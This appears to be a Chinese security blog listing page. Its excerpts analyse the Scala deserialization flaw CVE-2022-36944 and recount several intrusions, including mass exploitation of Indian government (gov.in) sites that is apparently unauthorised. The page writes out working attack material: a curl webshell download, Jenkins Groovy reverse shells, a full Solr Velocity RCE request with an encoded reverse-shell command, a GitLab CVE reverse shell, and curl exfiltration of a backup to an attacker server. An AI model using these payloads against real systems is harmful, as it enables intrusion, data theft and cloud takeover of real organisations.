这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 266
  • 一次暴露面全开的红帽渗透测试【getshell】

    0x01、信息收集阶段 ==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv"   email = 'u_mail'key = 'u_API_KEY'search = pythonfofa.Client(email, key)get_data = search.search('host="gov.in" && country="IN"', size=70000)   print(get_data)   requests = [result[1] for result in get_data['results']]print(requests)   打开CSV文件并设置写入模式   with open(filename, "w", newline="") as file:writer = csv.writer(file)   遍历请求列表   for request in requests:   在控制台打印域名   print(request)   检测域名是否包含"http://"   if not request.startswith("http://") and not request.startswith("https://"):   如果不包含,则在域名前添加"http://"   request = "http://" + request   在域名后添加斜杠"/"   request += "/"   将请求和值"1"作为一行写入CSV文件   writer.writerow([request, 1])   是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS) 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。...

    2023-08-19 289
  • 宝塔面板Nginx防火墙ip白名单无效怎么办?

    对宝塔的Nginx防火墙进行卸载重装或者点过修复后,重新导入数据发现有问题,通过宝塔的备份功能导入的数据ip黑白名单会失效。 今下午突然发现网站对CDN节点ip进行了错误拦截导致无法访问,很莫名其妙,我防火墙明明添加了ip白名单竟然还会拦截。 第一时间怀疑是Fail2ban防爆破插件导致的问题,筛查后排除。 然后排查到宝塔专业版Nginx防火墙上,查看添加的ip白名单和黑名单,没有问题,数据导入后都在。 但是我重新添加ip白名单的时候发现竟然能重复添加?这就有问题了,如果是正常情况下重复添加会有提示的,而宝塔Nginx防火墙我今天刚新安装的应该没有问题,于是怀疑到了宝塔的这个导入导出备份功能。 然后我删掉全部ip白名单手动添加,还是拦截,感觉问题有点大,就把黑名单也清空了。 然后宝塔防火墙正常工作,不再误拦截。 这说明宝塔Nginx防火墙的导入配置导出配置功能是有问题的,重新导入的ip黑白名单混乱,导致异常拦截。 如果你也是碰到这种问题,就把ip黑白名单全部清空然后手动添加吧,不要用宝塔的备份功能。 宝塔防火墙问题版本:Nginx防火墙 9.2.1...

    2023-08-18 233
  • 记一次HC中因为JS拿下整个云!

    0x00 前言 本次分享主要是分享一次HC中的思路,值得大家学习,服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码,是一张sese图片里面带有约炮的app下载,扫码后得到如下结果 得到如下结果:https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........),这个时候先别急,咱第一步先去看他调用的JS资源,随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息?),   所以凭借这些理由,我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试,在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段,叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件,结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下,发现竟然是一个gitlab!   </p> 找了一下历史漏洞,CVE-2021-22205 直接梭哈,成功拿到shell   </p> 由于是执行命令,所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04,但是本地提权失败,找了SUID也没有办法,想尽了各种办法都没办法提权,打算放弃了。 所以接下来就是去寻找Git权限能做的操作,找了一个下午,最终找到了backups目录里下找到了一个backup的tar包,应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了,我怎么做到在我反弹shell中把文件拖出来了呢?scp等都试过了不行,于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来(感觉这思路骚的)   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G,下载漫长的很呢!然后拖到本地后应该就是gitlab的备份了,(因为他备份文件名字中带有gitlab的版本号)要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息,后面突然发现一个叫application.yaml的文件,进行审计后泄露了ak和sk(这开发倒是备份挺明白的,全部都写清清楚楚)。 这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 :打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云,最后全部打包好给了JF,也进行取证立A了,到此因为一个JS文件拿下整个云结束了,思路可以学习一波。   </p>     文章来源:先知社区(1201463046740633)原文地址:https://xz.aliyun.com/t/12698  ...

    2023-08-17 175
  • PC端百度网盘不限速下载设置

    简单设置 PC端bai度网盘不限速下载 PS:使用之后会发现一些小问题,下载大文件会有加速,小文件加速不是很明显。 可能还存在更多无法加速的情况! 1   ...

    2023-08-15 258
  • 实战 | 记一次5500美金赏金的2FA绕过漏洞挖掘

    概括 在编辑用户详细信息(包括姓名、电子邮件或电话号码)时,付款应用程序需要通过您的电话号码和电子邮件进行 2FA 验证。我发现了一个简单的绕过实施的 2FA 流程的方法,攻击者可以通过该方法编辑用户详细信息,而无需手机/电子邮件访问权限,最终导致帐户被接管。 复现步骤 1.转到编辑部分,开始编辑电子邮件字段。 2.2FA 提示将要求您提供当前电子邮件的 OTP。 3.输入错误的一次性密码“123456”。拦截响应。 4.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 5.2FA 提示将再次要求您提供当前电话号码的 OTP。 6.输入错误的一次性密码“123456”。拦截响应。 7.将响应从 {"success":"false"} 更改为 {"success":"true"} 。 8.提示会要求您输入要更改的电子邮件,在此输入攻击者电子邮件。 9.输入电子邮件收件箱中的 OTP。 10.刷新仪表板,电子邮件已更改。 漏洞为什么会发生 通常,在 2FA 验证(第一个 HTTP 请求)之后,会分配一个令牌,并且该令牌将用于电子邮件更改请求(第二个 HTTP 请求)。在这里,输入 OTP 时(在第一个 HTTP 响应中)没有发送此类令牌。这是多阶段操作时检查的常见情况。 漏洞报告时间线 2023 年 5 月 10 日 - 通过 Hackerone 报道 2023 年 5 月 11 日 - 状态更改为“已分类” 2023 年 6 月 7 日 - 重新测试完成 50 美元并解决 2023 年 6 月 10 日 - 5000 美元奖励 + 500 美元奖金    ...

    2023-08-15 185
  • 攻防演练 | 记一次打穿某车企全过程

    0x00 前言 本文介绍了笔者在某次攻防演练中,如何从外网渗透到某车企的内网的详细过程(为了保护敏感信息,所有数据都已经脱敏,有些截图也不完整,请见谅)。 这次网络攻防演练分为两个阶段一共十四天,前七天是私有资源阶段,后七天是公共资源池阶段。共有12支队伍参与比赛,我们公司全程只有两名选手参赛。由于公司从不提供一些辅助工具和人力资源,并且我俩近期连续参加了多场比赛,导致每次比赛后我俩都很内耗。 0x01 信息收集 裁判只给出了目标企业的名称,让我们自行寻找其他的信息,这是对我们资源差的队伍是一种考验。 幸运的是,笔者之前编写了一套信息收集的辅助脚本,现在可以派上大用场了。 首先,使用子公司收集脚本来搜索一级子公司。该脚本根据特定的条件和规则进行搜索,以获取与一级公司有50%的控股关系的子公司。然后,我们对这些一级子公司再次使用脚本进行搜索,以找到与它们有50%的控股关系的子公司。这个过程不断循环,直到没有符合条件的子公司为止,所以你看到下面最深达到了四级公司。 接下来,再用资产收集脚本对子公司收集脚本的ICP结果进行一系列的操作,该脚本包括子域名匹配、端口扫描、web路径搜索、服务识别等,最终结果会到了以下三个文件,其中ip文件可以交给灯塔去进行信息收集、url文件可以交给poc扫描器、详情文件可以在扫描poc的时候手工去寻找一些POC扫描器里面没有的漏洞(如弱口令,手动狗头)。 0x02 web打点 我先用poc扫描器(xray青春版,poc-bomber等开源作品)对资产收集的结果进行了一番扫描,结果没有发现一个可利用漏洞(人少公司也不提供些打点资源,怎么搞嘛,狗头保命)。没办法,只能老老实实手动地一个个分析哪些URL可能有惊喜了。在翻了一大堆无聊的页面后,我目光锁定在了一个url上,这url的title是XXConfluence当发现这个网站使用的是Confluence时,我想很多师傅们都知道该怎么做了。我立刻检测它是否存在RCE,经过一番尝试后,发现这个版本确实存在RCE,并且确认了服务器的操作系统是Linux。 接下来就把shell反弹到服务器上,发现已经拿到了无限制的shell访问权限。马上做了一个远程控制马并上传到目标服务器。MSF上线后我就查了一下网卡,发现这个服务器有个172.32.0.30的网卡,接着上传代理工具。 ...

    2023-08-14 242

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注